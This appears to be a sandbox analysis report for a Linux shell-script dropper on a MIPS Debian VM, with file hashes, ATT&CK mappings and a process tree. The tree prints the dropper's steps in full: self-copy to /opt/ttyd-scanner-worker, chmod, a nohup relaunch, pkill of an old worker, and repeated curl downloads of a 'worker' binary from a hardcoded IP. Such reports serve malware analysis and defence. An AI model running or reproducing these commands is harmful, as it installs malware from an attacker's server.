8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3

Analysis

max time kernel
23s
max time network
49s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
19/08/2026, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
Size 12KB
Sample260819-dmlevscf93
SHA256 8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
MD5 48a0eff45f191a6e300368565a412d55
SHA1 4de34e0f692e95f1ab8f7b4bd1f3bac8c1282043
SHA512 5128c2f8a00932bfc7b0ca63bd72d1de8a626a73e27fa79c54265ff0b0e3deb7763e16eb89185a952e304153ea850e695e34ef18432ba262254ff2084026e6e0
SSDEEP 192:NIMA43oioxOGNHVNOkHsK8A3hp+oYLHCnRpyHNhGn48sGspfq:NIMExHH8noXn88tR
TLSH
T12F4274B1D62408757568CC2D973B2D14388B353AF2A920A0B49EF8CD3FFD254EA26775
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
731	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/meminfo	awk
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/106/cmdline	pkill
File opened for reading	/proc/314/cmdline	pkill
File opened for reading	/proc/321/status	pkill
File opened for reading	/proc/659/status	pkill
File opened for reading	/proc/708/cmdline	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/144/cmdline	pkill
File opened for reading	/proc/84/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/73/status	pkill
File opened for reading	/proc/76/cmdline	pkill
File opened for reading	/proc/666/status	pkill
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/79/status	pkill
File opened for reading	/proc/82/cmdline	pkill
File opened for reading	/proc/144/status	pkill
File opened for reading	/proc/230/cmdline	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/116/status	pkill
File opened for reading	/proc/668/cmdline	pkill
File opened for reading	/proc/75/status	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/373/status	pkill
File opened for reading	/proc/382/status	pkill
File opened for reading	/proc/666/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/106/status	pkill
File opened for reading	/proc/373/cmdline	pkill
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/78/cmdline	pkill
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/117/cmdline	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/407/status	pkill
File opened for reading	/proc/702/status	pkill
File opened for reading	/proc/733/cmdline	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/69/cmdline	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/84/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/316/cmdline	pkill
File opened for reading	/proc/1/status	pkill

/tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
/tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:706

/usr/local/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:706

/usr/local/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:706

/usr/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:706

/usr/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:706

/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:706

/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:706
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:712
- /usr/bin/awk
  awk "/MemAvailable/ {print \$2; exit}" /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:716
- /usr/bin/nproc
  nproc
  2⤵
  PID:724
- /bin/mkdir
  mkdir -p /opt/ttyd-scanner-worker
  2⤵
  - Reads runtime system information
  PID:726
- /bin/cp
  cp /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3 /opt/ttyd-scanner-worker/installer.sh
  2⤵
  PID:729
- /bin/chmod
  chmod +x /opt/ttyd-scanner-worker/installer.sh
  2⤵
  - File and Directory Permissions Modification
  PID:731

/usr/bin/nohup
nohup bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:733

/usr/local/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:733

/usr/local/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:733

/usr/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:733

/usr/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:733

/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:733

/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:733
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:736
- /usr/bin/awk
  awk "/MemAvailable/ {print \$2; exit}" /proc/meminfo
  2⤵
  PID:739
- /usr/bin/nproc
  nproc
  2⤵
  PID:742
- /bin/mkdir
  mkdir -p /opt/ttyd-scanner-worker
  2⤵
  PID:743
- /usr/bin/pkill
  pkill -9 -f /opt/ttyd-scanner-worker/worker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:745
- /bin/sleep
  sleep 0.5
  2⤵
  PID:748
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Reads runtime system information
  PID:752
- /bin/sleep
  sleep 3
  2⤵
  PID:753
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  - Reads runtime system information
  PID:769
- /bin/sleep
  sleep 3
  2⤵
  PID:777
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:801
- /bin/sleep
  sleep 3
  2⤵
  PID:802
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:819
- /bin/sleep
  sleep 3
  2⤵
  PID:826
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:835
- /bin/sleep
  sleep 3
  2⤵
  PID:836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

installer.sh

Path /opt/ttyd-scanner-worker/installer.sh
Size 12KB
SHA256 8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
MD5 48a0eff45f191a6e300368565a412d55
SHA1 4de34e0f692e95f1ab8f7b4bd1f3bac8c1282043
SHA512 5128c2f8a00932bfc7b0ca63bd72d1de8a626a73e27fa79c54265ff0b0e3deb7763e16eb89185a952e304153ea850e695e34ef18432ba262254ff2084026e6e0
SSDEEP 192:NIMA43oioxOGNHVNOkHsK8A3hp+oYLHCnRpyHNhGn48sGspfq:NIMExHH8noXn88tR
TLSH
T12F4274B1D62408757568CC2D973B2D14388B353AF2A920A0B49EF8CD3FFD254EA26775
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 321B
SHA256 503030af2e210bdc3f2f0e32936cff16972dfda990fee324cb23f9f3a61f52b1
MD5 47ed314b10627cb20d0b07cdf79052df
SHA1 ce94bf4db0e8dfdc6f3324b98c186eb4dc03c169
SHA512 5887de510233a83b094ee2fd459312b618ac67e5779cfe4a82206e3088c85e8a63095462aab1ff5232e0e123b76a6d7348b7e52c8833df86b8cea608fd44e702
TLSH
T1B1E012764C0022347650D77C73107B51938D7068B4947472F20E751513EF1A60AC76FE
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 391B
SHA256 18dab1fe4842ebf3a1cc53357d6060d8d73af330598b1900052e9388ad2310b4
MD5 c6ba6c818811567936d25dc9c97e31c4
SHA1 bb3dac6366cae9bccaf58d731b5f256c10e54fd8
SHA512 2da0b4b34f727cfaf5f86933f58948aaca82d0f90a68dc36e635740432835c8baab1a185d43ea79fa558be35dbc92f2ec16bc3f1376f2471e3292bfd1e944280
TLSH
T1BFE05E730C21262077A0C7ACB320BA10868DB06874987872F20E761553EE2A90ACB2BD
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 435B
SHA256 9708142f0916fcdf9cdb70f33a49c586af413e98da0a90db68c6ac3acc915b2b
MD5 c88d0e00f2e3fccab77a988db116b4a7
SHA1 4a6d0f27aa11deb20b99d209f9a010e76261fd48
SHA512 90ef17d4c10d1256d3769b1eb26a294f63a05b29a380580baac8a330a9b9c1cc6a0ccc0bd0875d82efb079263723c16392abdcd99f17c6add255ef138f86ecd7
TLSH
T139E0C2B30C212125B7A0C3ACB750BB04864CB028B4587833F10E765153EE29906DB2BD
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 574B
SHA256 3a10b5f99e9f9b7384a4b104faba3d5ab4e9e4998c26c57a1775e29da18ed433
MD5 b1aa54b172182ba1c789436ef4d6e1c4
SHA1 a3bcb4c13825925080dd9e730c7c42e4b567c952
SHA512 637c17d13a8a56f1fc14cc855a4ebb8fd4c3f813780ac4b3031eb332a5a9788e91bfb3eaef9e63d4094cd47e538796af4fb76fda8284b834f926d66735eaa07c
TLSH
T1C6F05C7B0C212125B260C3AC76647714CA4C741435287472F10E764553EE19505E61BE
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 1021B
SHA256 5d8c323b644b39261c2429b43b449a55a8bffcbe390217576d02f2d55ede2a30
MD5 a7d003c6062859631e0ef705caa316bb
SHA1 2e8cecbba3d1e21aea17134a6451789bf1d1e670
SHA512 d4687bace84ef34b63de6ac317fd536023e180726a9c50a487f9d6660beb80a67485f042fecb737e598f843a6e13417d3d81227dc4c284dbf842b194ba0f0db5
TLSH
T17C11BA7D18AB12AAF230C17C71BC2325C9447E463B2681B1F00C7B4E57DDD2144F6ABA
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads